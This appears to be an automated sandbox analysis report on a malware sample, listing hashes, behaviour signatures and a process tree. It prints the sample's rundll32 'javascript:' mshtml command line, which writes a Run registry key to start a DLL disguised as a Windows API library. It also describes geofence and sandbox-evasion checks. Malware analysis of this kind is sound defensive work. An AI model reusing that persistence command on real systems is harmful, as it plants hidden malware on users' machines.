Overview
overview
10Static
static
10lab_sample...5b.exe
windows7-x64
7lab_sample...5b.exe
windows10-2004-x64
7lab_sample...82.exe
windows7-x64
7lab_sample...82.exe
windows10-2004-x64
8lab_sample...63.exe
windows7-x64
10lab_sample...63.exe
windows10-2004-x64
10lab_sample...15.exe
windows7-x64
1lab_sample...15.exe
windows10-2004-x64
1lab_sample...c7.exe
windows7-x64
3lab_sample...c7.exe
windows10-2004-x64
7lab_sample...fc.exe
windows7-x64
6lab_sample...fc.exe
windows10-2004-x64
6Analysis
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max time kernel
92s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
28-06-2024 11:22
Behavioral task
behavioral1
Sample
lab_samples/1e3966e77ad1cbf3e3ef76803fbf92300b2b88af39650a1208520e0cdc05645b.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
lab_samples/1e3966e77ad1cbf3e3ef76803fbf92300b2b88af39650a1208520e0cdc05645b.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral3
Sample
lab_samples/6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
lab_samples/6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
lab_samples/6d34ded00c0da9887ba752872093f59c649de72a1f629a32014f5ed8be509363.exe
Resource
win7-20240611-en
Behavioral task
behavioral6
Sample
lab_samples/6d34ded00c0da9887ba752872093f59c649de72a1f629a32014f5ed8be509363.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
lab_samples/a380617cf945ca35dbbc3d031bcc612f0dca96c1027a75003182ba5be2851215.exe
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
lab_samples/a380617cf945ca35dbbc3d031bcc612f0dca96c1027a75003182ba5be2851215.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
lab_samples/b3b3bb519dd34a933a0b9920fa905ecaa5ce32c34871a29b5823a5b0fd4d9fc7.exe
Resource
win7-20240508-en
Behavioral task
behavioral10
Sample
lab_samples/b3b3bb519dd34a933a0b9920fa905ecaa5ce32c34871a29b5823a5b0fd4d9fc7.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral11
Sample
lab_samples/e30b76f9454a5fd3d11b5792ff93e56c52bf5dfba6ab375c3b96e17af562f5fc.exe
Resource
win7-20240611-en
Behavioral task
behavioral12
Sample
lab_samples/e30b76f9454a5fd3d11b5792ff93e56c52bf5dfba6ab375c3b96e17af562f5fc.exe
Resource
win10v2004-20240508-en
General
-
Target
lab_samples/6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
-
Size
87KB
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MD5
a579d53a1d29684de6d2c0cbabd525c5
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SHA1
17661a04b4b150a6f70afdabe3fd9839cc56bee8
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SHA256
6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82
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SHA512
a98456792d7f7c83d0fe6be3ce6c48a4630a073b456848e0c8f614efe292a24fcf8d879ead5f2b418e5e29f46ae9356691383ba57e6066c5cacc0d47e675f817
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SSDEEP
1536:PwjBg7Rj2r+65ofVkOu2avMtRsCtQqES1IVSJjXTmgacggNp:YjBY12G7uJvMnsGQhSYEmgacx
Malware Config
Signatures
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Blocklisted process makes network request 3 IoCs
Processes:
rundll32.exeflow pid process 13 464 rundll32.exe 14 464 rundll32.exe 15 464 rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 464 rundll32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
rundll32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\CheckDone = "RunDll32.exe \"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init" rundll32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
rundll32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum rundll32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exedescription ioc process File created C:\Windows\SysWOW64\api-ms-win-core-advapi-l1-1-0.dll 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3328 464 WerFault.exe rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepid process 464 rundll32.exe 464 rundll32.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exedescription pid process target process PID 3780 wrote to memory of 3044 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe PID 3780 wrote to memory of 3044 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe PID 3780 wrote to memory of 3044 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe PID 3780 wrote to memory of 464 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe PID 3780 wrote to memory of 464 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe PID 3780 wrote to memory of 464 3780 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe rundll32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\lab_samples\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe"C:\Users\Admin\AppData\Local\Temp\lab_samples\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe"1⤵
- Checks computer location settings
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CheckDone","RunDll32.exe%20\"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init","REG_SZ")+"\74/script>")2⤵
- Adds Run key to start application
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll",init2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 464 -s 13963⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 464 -ip 4641⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dllFilesize
36KB
MD575f71713a429589e87cf2656107d2bfc
SHA1f7608ef62a45822e9300d390064e667028b75dea
SHA256b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9
SHA512cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93